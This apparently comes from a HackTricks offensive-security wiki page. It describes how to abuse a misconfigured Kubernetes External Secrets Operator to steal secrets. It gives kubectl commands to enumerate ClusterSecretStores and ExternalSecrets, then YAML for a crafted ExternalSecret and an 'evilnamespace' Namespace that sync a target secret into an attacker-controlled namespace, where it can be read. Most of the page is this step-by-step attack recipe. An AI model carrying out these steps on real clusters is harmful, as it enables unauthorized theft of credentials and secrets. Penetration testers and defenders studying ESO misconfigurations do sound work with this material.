# External Secret Operator

{{#include ../../banners/hacktricks-training.md}}

**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)

This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.

## Disclaimer

The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.

## Prerequisites

1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
2. Read access on at least ExternalSecret at cluster level
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.

### Gathering information about existing ClusterSecretStore

Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.

```sh
kubectl get ClusterSecretStore
```

### ExternalSecret enumeration

Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.

```sh
kubectl get externalsecret -A | grep mystore
```

_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._

You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.

```sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```

### Assembling the pieces

From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:

```yaml
kind: ExternalSecret
metadata:
  annotations:
  ...
  labels:
  ...
spec:
  data:
  - remoteRef:
      conversionStrategy: Default
      decodingStrategy: None
      key: SECRET_KEY
    secretKey: SOME_PASSWORD
    ...
```

So far we got:

- Name a ClusterSecretStore
- Name of an ExternalSecret
- Name of the secret

Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):

```yaml
kind: ExternalSecret
metadata:
  name: myexternalsecret
  namespace: evilnamespace
spec:
  data:
    - remoteRef:
        conversionStrategy: Default
        decodingStrategy: None
        key: SECRET_KEY
      secretKey: SOME_PASSWORD
  refreshInterval: 30s
  secretStoreRef:
    kind: ClusterSecretStore
    name: mystore
  target:
    creationPolicy: Owner
    deletionPolicy: Retain
    name: leaked_secret
```

```yaml
kind: Namespace
metadata:
  annotations:
    required_annotation: value
    other_required_annotation: other_value
  labels:
    required_label: somevalue
    other_required_label: someothervalue
  name: evilnamespace
```

After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace

```sh
kubectl get secret leaked_secret -o yaml
```

## References

{{#ref}}
https://external-secrets.io/latest/
{{#endref}}

{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}



{{#include ../../banners/hacktricks-training.md}}
